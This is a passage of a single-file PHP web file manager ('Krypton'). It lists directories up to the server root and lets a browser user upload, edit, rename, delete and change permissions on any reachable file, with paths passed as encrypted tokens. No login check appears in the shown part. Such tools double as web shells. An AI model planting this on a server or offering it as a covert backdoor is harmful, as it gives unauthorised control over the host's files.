($entry != "." && $entry != "..") { $fullPath = $currentPath . '/' . $entry; $isDir = is_dir($fullPath); try { $size = $isDir ? '-' : formatFileSize(filesize($fullPath)); $permissions = getFilePermissions($fullPath); $lastModified = date('Y-m-d H:i:s', filemtime($fullPath)); $items[] = [ 'name' => $entry, 'path' => $fullPath, 'encryptedPath' => encryptPath($fullPath), 'isDirectory' => $isDir, 'size' => $size, 'permissions' => $permissions, 'lastModified' => $lastModified, 'isEditable' => !$isDir && isEditableFile($entry) ]; } catch (Exception $e) { // Skip files that can't be accessed continue; } } } closedir($handle); } } // Sort items: directories first, then files usort($items, function($a, $b) { if ($a['isDirectory'] && !$b['isDirectory']) { return -1; } if (!$a['isDirectory'] && $b['isDirectory']) { return 1; } return strcasecmp($a['name'], $b['name']); }); // Get breadcrumb parts $breadcrumbs = []; $pathParts = explode('/', $currentPath); $buildPath = ''; foreach ($pathParts as $part) { if (empty($part)) { $buildPath = '/'; $breadcrumbs[] = [ 'name' => 'Root', 'path' => $buildPath, 'encryptedPath' => encryptPath($buildPath) ]; } else { $buildPath .= ($buildPath === '/') ? $part : '/' . $part; $breadcrumbs[] = [ 'name' => $part, 'path' => $buildPath, 'encryptedPath' => encryptPath($buildPath) ]; } } // Get the script's directory for the Home button $homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']); $encryptedHomeDirectory = encryptPath($homeDirectory); // Encrypt current path for forms $encryptedCurrentPath = encryptPath($currentPath); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Krypton File Manager</title> <style> /* Base styles and reset */ * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif; } body { background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png'); background-size: cover; background-position: center; background-repeat: no-repeat; background-color: #f9f9f9; /* Fallback color */ color: #333333; line-height: 1.6; } .container { max-width: 1200px; margin: 0 auto; padding: 0 20px; } /* Navigation bar */ .navbar { background-color: #ffffff; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05); padding: 15px 0; position: sticky; top: 0; z-index: 100; } .navbar-content { display: flex; align-items: center; justify-content: space-between; } .navbar h1 { color: #333333; font-size: 1.5rem; font-weight: 500; } .version { font-size: 0.8rem; color: #777; margin-left: 10px; } .navbar-actions { display: flex; gap: 10px; } .home-btn { background-color: #4a6cf7; color: white; border: none; padding: 8px 15px; border-radius: 6px; cursor: pointer; font-weight: 500; text-decoration: none; display: inline-flex; align-items: center; transition: all 0.2s ease; } .home-btn:hover { background-color: #3a5ce5; transform: translateY(-2px); box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); } .home-icon { margin-right: 5px; } /* Breadcrumb navigation */ .breadcrumb { display: flex; align-items: center; padding: 12px 0; margin-bottom: 15px; overflow-x: auto; white-space: nowrap; } .breadcrumb-item { display: flex; align-items: center; } .breadcrumb-item a { color: #4a6cf7; text-decoration: none; padding: 5px 8px; border-radius: 4px; transition: background-color 0.2s; cursor: pointer; } .breadcrumb-item a:hover { background-color: rgba(74, 108, 247, 0.1); } .breadcrumb-separator { margin: 0 5px; color: #999; } .breadcrumb-current { font-weight: 500; padding: 5px 8px; } /* Section styling */ .section { background-color: rgba(255, 255, 255, 0.9); border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05); padding: 20px; margin-bottom: 20px; box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px; } .section-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; } .section-title { font-size: 1.1rem; color: #333333; font-weight: 500; } .section-actions { display: flex; gap: 10px; } /* Upload form */ .upload-form { display: flex; flex-wrap: wrap; gap: 10px; align-items: center; } .upload-form input[type="file"] { flex: 1; min-width: 200px; padding: 10px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #ffffff; } .btn { background-color: #4a6cf7; color: white; border: none; padding: 10px 20px; border-radius: 6px; cursor: pointer; font-weight: 500; transition: all 0.2s ease; } .btn:hover { background-color: #3a5ce5; transform: translateY(-2px); box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); } .btn-sm { padding: 6px 12px; font-size: 0.9rem; } .btn-success { background-color: #28a745; } .btn-success:hover { background-color: #218838; } /* File list table */ .file-table-container { overflow-x: auto; } .file-table { width: 100%; border-collapse: collapse; margin-top: 10px; } .file-table th { background-color: #f5f5f5; padding: 12px 15px; text-align: left; font-weight: 500; border-bottom: 1px solid #e0e0e0; position: relative; } .file-table td { padding: 12px 15px; border-bottom: 1px solid #e0e0e0; } .file-table tr:hover { background-color: #f5f7ff; } .file-name { display: flex; align-items: center; gap: 8px; } .folder-icon::before { content: "📁"; } .file-icon::before { content: "📄"; } /* Action buttons */ .action-buttons { display: flex; gap: 8px; } .action-btn { background: none; border: none; cursor: pointer; font-size: 1rem; color: #555; transition: all 0.2s ease; width: 28px; height: 28px; display: flex; align-items: center; justify-content: center; border-radius: 4px; } .action-btn:hover { background-color: #f0f0f0; color: #333; } /* Modal styles */ .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.5); z-index: 1000; justify-content: center; align-items: center; } .modal-content { background-color: white; padding: 25px; border-radius: 8px; width: 90%; max-width: 400px; box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15); } .modal-content.modal-lg { max-width: 800px; height: 80%; display: flex; flex-direction: column; } .modal-title { font-size: 1.2rem; margin-bottom: 15px; font-weight: 500; } .modal-form { display: flex; flex-direction: column; gap: 15px; } .editor-form { display: flex; flex-direction: column; gap: 15px; flex-grow: 1; } .form-group { display: flex; flex-direction: column; gap: 5px; } .form-group label { font-weight: 500; } .form-group input { padding: 8px 12px; border: 1px solid #ddd; border-radius: 4px; } .form-group textarea { flex-grow: 1; padding: 12px; border: 1px solid #ddd; border-radius: 4px; font-family: 'Courier New', monospace; font-size: 14px; resize: none; } .modal-actions { display: flex; justify-content: flex-end; gap: 10px; margin-top: 20px; } .btn-cancel { background-color: #f0f0f0; color: #333; } .btn-cancel:hover { background-color: #e0e0e0; } /* Alerts */ .alert { padding: 12px 15px; margin-bottom: 15px; border-radius: 4px; font-weight: 500; } .alert-success { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; } .alert-error { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; } .alert-warning { background-color: #fff3cd; color: #856404; border: 1px solid #ffeeba; } /* Footer */ .footer { text-align: center; padding: 20px 0; color: #777; font-size: 0.9rem; } /* Loading overlay */ .loading-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.5); z-index: 2000; justify-content: center; align-items: center; } .spinner { width: 50px; height: 50px; border: 5px solid #f3f3f3; border-top: 5px solid #3498db; border-radius: 50%; animation: spin 1s linear infinite; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } /* Responsive design */ @media (max-width: 768px) { .upload-form { flex-direction: column; align-items: stretch; } .upload-form input[type="file"] { width: 100%; } .action-buttons { flex-wrap: wrap; } .section-header { flex-direction: column; align-items: flex-start; gap: 10px; } .section-actions { width: 100%; } .btn { width: 100%; } } </style> </head> <body> <!-- Loading Overlay --> <div id="loadingOverlay" class="loading-overlay"> <div class="spinner"></div> </div> <!-- Navigation Bar --> <nav class="navbar"> <div class="container navbar-content"> <h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1> <div class="navbar-actions"> <button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn"> <span class="home-icon">🏠</span> Home </button> </div> </div> </nav> <div class="container"> <!-- Alerts --> <?php if (!empty($encryptionKeyWarning)): ?> <div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div> <?php endif; ?> <?php if (!empty($success)): ?> <div class="alert alert-success"><?php echo $success; ?></div> <?php endif; ?> <?php if (!empty($error)): ?> <div class="alert alert-error"><?php echo $error; ?></div> <?php endif; ?> <!-- Breadcrumb Navigation --> <div class="breadcrumb"> <?php foreach ($breadcrumbs as $index => $crumb): ?> <?php if ($index > 0): ?> <span class="breadcrumb-separator">›</span> <?php endif; ?> <div class="breadcrumb-item"> <?php if ($index === count($breadcrumbs) - 1): ?> <span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span> <?php else: ?> <a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a> <?php endif; ?> </div> <?php endforeach; ?> </div> <!-- Upload Section --> <section class="section"> <h2 class="section-title">Upload Files</h2> <form class="upload-form" method="post" enctype="multipart/form-data"> <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>"> <input type="file" name="file"> <button type="submit" name="upload" class="btn">Upload File</button> </form> </section> <!-- File List Section --> <section class="section"> <div class="section-header"> <h2 class="section-title">Files</h2> <div class="section-actions"> <button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button> <button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button> </div> </div> <div class="file-table-container"> <table class="file-table"> <thead> <tr> <th>Filename</th> <th>Size</th> <th>Permissions</th> <th>Last Modified</th> <th>Actions</th> </tr> </thead> <tbody> <!-- Parent directory link --> <?php if ($currentPath !== '/'): ?> <tr> <td> <div class="file-name"> <span class="folder-icon"></span> <a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a> </div> </td> <td>-</td> <td>-</td> <td>-</td> <td>-</td> </tr> <?php endif; ?> <!-- File list --> <?php foreach ($items as $item): ?> <tr> <td> <div class="file-name"> <span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span> <?php if ($item['isDirectory']): ?> <a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a> <?php else: ?> <?php echo htmlspecialchars($item['name']); ?> <?php endif; ?> </div> </td> <td><?php echo $item['size']; ?></td> <td><?php echo $item['permissions']; ?></td> <td><?php echo $item['lastModified']; ?></td> <td> <div class="action-buttons"> <?php if (!$item['isDirectory']): ?> <button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button> <?php if ($item['isEditable']): ?> <button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button> <?php endif; ?> <?php endif; ?> <button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button> <button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button> <form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');"> <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>"> <input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>"> <button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button> </form> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </section> <footer class="footer"> Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager </footer> </div> <!-- Rename Modal --> <div id="renameModal" class="modal"> <div class="modal-content"> <h3 class="modal-title">Rename: <span id="renameFileName"></span></h3> <form class="modal-form" method="post"> <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>"> <input type="hidden" id="renameOldPath" name="oldPath" value=""> <div class="form-group"> <label for="renameNewName">New Name:</label> <input type="text" id="renameNewName" name="newName" required> </div> <div class="modal-actions"> <button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button> <button type="submit" name="rename" class="btn">Rename</button> </div> </form> </div> </div> <!-- Permissions Modal --> <div id="permissionsModal" class="modal"> <div class="modal-content"> <h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3> <form class="modal-form" method="post"> <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>"> <input type="hidden" id="permissionsPath" name="permPath" value=""> <div class="form-group"> <label for="permissionsOctal">Permissions (Octal):</label> <input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required> </div> <div class="modal-actions"> <button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button> <button type="submit" name="changePermissions" class="btn">Apply</button> </div> </form> </div> </div> <!-- Edit File Modal --> <div id="editFileModal" class="modal"> <div class="modal-content modal-lg"> <h3 class="modal-title">Edit File: <span id="editFileName"></span></h3> <form class="editor-form" method="post"> <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>"> <input type="hidden" id="editFilePath" name="filePath" value=""> <div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;"> <textarea id="fileContent" name="fileContent" required></textarea> </div> <div class="modal-actions"> <button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button> <button type="submit" name="saveFile" class="btn">Save</button> </div> </form> </div> </div> <!-- Create File Modal --> <div id="createFileModal" class="modal"> <div class="modal-content"> <h3 class="modal-title">Create New File</h3> <form class="modal-form" method="post"> <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>"> <div class="form-group"> <label for="newFileName">File Name:</label> <input type="text" id="newFileName" name="newFileName" required> </div> <div class="modal-actions"> <button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button> <button type="submit" name="createFile" class="btn">Create</button> </div> </form> </div> </div> <!-- Create Folder Modal --> <div id="createFolderModal" class="modal"> <div class="modal-content"> <h3 class="modal-title">Create New Folder</h3> <form class="modal-form" method="post"> <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>"> <div class="form-group"> <label for="newFolderName">Folder Name:</label> <input type="text" id="newFolderName" name="newFolderName" required> </div> <div class="modal-actions"> <button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button> <button type="submit" name="createFolder" class="btn">Create</button> </div> </form> </div> </div> <!-- Hidden form for navigation --> <form id="navigationForm" method="post" style="display: none;"> <input type="hidden" name="action" value="navigate"> <input type="hidden" id="navigationPath" name="path" value=""> </form> <!-- Hidden form for download --> <form id="downloadForm" method="post" style="display: none;"> <input type="hidden" name="action" value="download"> <input type="hidden" id="downloadPath" name="path" value=""> </form> <script> // Show loading overlay function showLoading() { document.getElementById('loadingOverlay').style.display = 'flex'; } // Hide loading overlay function hideLoading() { document.getElementById('loadingOverlay').style.display = 'none'; } // Navigation function function navigateTo(path) { showLoading(); document.getElementById('navigationPath').value = path; document.getElementById('navigationForm').submit(); } // Download function function downloadFile(path) { document.getElementById('downloadPath').value = path; document.getElementById('downloadForm').submit(); } // Show rename modal function showRenameModal(path, name) { document.getElementById('renameFileName').textContent = name; document.getElementById('renameOldPath').value = path; document.getElementById('renameNewName').value = name; document.getElementById('renameModal').style.display = 'flex'; } // Show permissions modal function showPermissionsModal(path, name) { document.getElementById('permissionsFileName').textContent = name; document.getElementById('permissionsPath').value = path; document.getElementById('permissionsModal').style.display = 'flex'; } // Show edit file modal function showEditFileModal(path, name) { document.getElementById('editFileName').textContent = name; document.getElementById('editFilePath').value = path; showLoading(); // Fetch file content using POST const formData = new FormData(); formData.append('action', 'getContent'); formData.append('path', path); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(response => response.text()) .then(content => { document.getElementById('fileContent').value = content; document.getElementById('editFileModal').style.display = 'flex'; hideLoading(); }) .catch(error => { hideLoading(); alert('Error loading file content: ' + error); }); } // Show create file modal function showCreateFileModal() { document.getElementById('newFileName').value = ''; document.getElementById('createFileModal').style.display = 'flex'; } // Show create folder modal function showCreateFolderModal() { document.getElementById('newFolderName').value = ''; document.getElementById('createFolderModal').style.display = 'flex'; } // Hide modal function hideModal(modalId) { document.getElementById(modalId).style.display = 'none'; } // Close modals when clicking outside window.onclick = function(event) { if (event.target.className === 'modal') { event.target.style.display = 'none'; } } // Add loading indicator to form submissions document.addEventListener('DOMContentLoaded', function() { const forms = document.querySelectorAll('form'); forms.forEach(form => { form.addEventListener('submit', function() { // Don't show loading for the navigation and download forms if (form.id !== 'navigationForm' && form.id !== 'downloadForm') { showLoading(); } }); }); }); </script> </body> </html>
Save